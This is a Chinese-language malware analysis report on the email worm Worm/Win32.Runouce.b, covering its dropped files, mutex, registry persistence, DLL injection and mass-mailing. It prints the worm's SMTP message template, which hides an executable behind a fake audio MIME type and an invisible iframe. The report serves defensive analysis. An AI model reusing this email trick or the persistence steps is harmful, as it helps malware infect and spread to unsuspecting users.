Worm/Win32.Runouce.b[Email]分析
一、 病毒标签：病毒名称： Worm/Win32.Runouce.b
病毒类型： 蠕虫
文件 MD5： 5BCD5AC1E81E9AD7D75B031DA6DF401B
公开范围： 完全公开
危害等级： 4
文件长度： 126,976 字节
感染系统： Windows98以上版本
开发工具： Microsoft Visual Basic 5.0 / 6.0
二、 病毒描述：
该恶意文件为蠕虫病毒，本恶意病毒文件进行了加密处理，病毒运行后、暴力搜索kernel32基址，动态获取大量API函数地址，创建互斥量名为“ChineseHacker-2”，防止多次运行产生的冲突，调用API函数隐藏打开病毒本体文件，创建病毒文件“runouce.exe、KillEDLL.DLL”到%system32%目录下，按节分别将病毒代码写入该文件中，试图将病毒DLL注入到所有进程中，并将属性设置为隐藏，添加注册表启动项、创建一个注册表监视的线程，如被删除，则立即重新写入病毒启动项，在系统目录下衍生“readme.eml”文件，该文件为病毒发送的邮件内容，该邮件内容为了躲避安全软件查杀便做了Base64加密处理，解密后得到的数据为PE文件可执行文件（病毒体文件），病毒调用系统自带的Outlook Express发送恶意邮件，病毒利用发送恶意邮件来传播自身。
三、 行为分析：
本地行为:
1、文件运行后会释放以下文件
%System32%\KillEDLL.DLL
%System32%\MSWBPROTECT.DLL
%System32%\runouce.exe
%Program Files%\Common Files\Microsoft Shared\Stationery\readme.eml
%Program Files%\Common Files\System\ado\readme.eml
%Program Files%\NetMeeting\readme.eml
2、本恶意病毒文件进行了加密处理，病毒运行后、暴力搜索kernel32基址，动态获取大量API函数地址，调用API函数CreateMutexA创建互斥量名为“ChineseHacker-2”，防止多次运行产生的冲突
3、添加注册表启动项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runonce
值: 字符串: "C:\WINDOWS\system32\runouce.exe"
描述：添加注册表启动项
4、调用API函数隐藏打开病毒本体文件，创建病毒文件“runouce.exe”到%system32%目录下，按节分别将病毒代码写入该文件中，并将属性设置为隐藏，添加注册表启动项、创建一个注册表监视的线程，如被删除，则立即重新写入病毒启动项
5、在系统目录下衍生“readme.eml”文件，该文件为病毒发送的邮件内容，该邮件内容为了躲避安全软件查杀便做了Base64加密处理，解密后得到的数据为PE文件可执行文件（病毒体文件），病毒调用系统自带的Outlook Express发送恶意邮件
网络行为：
协议：TCP
端口：139 445
描述：通过以上端口发送恶意邮件，邮件内容为：
HELO btamail.net.cn
MAIL FROM: imissyou@btamail.net.cn
RCPT TO:
DATA
FROM: A-738DF22C9CA04@yahoo.com
TO:
SUBJECT: A-738DF22C9CA04 is comming!
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="#BOUNDARY#"
--#BOUNDARY#
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>
--#BOUNDARY#
MIME-Version: 1.0
Content-Type: audio/x-wav; name="pp.exe"
Content-Transfer-Encoding: base64
Content-id: THE-CID
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经解密得到数据：
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MZP
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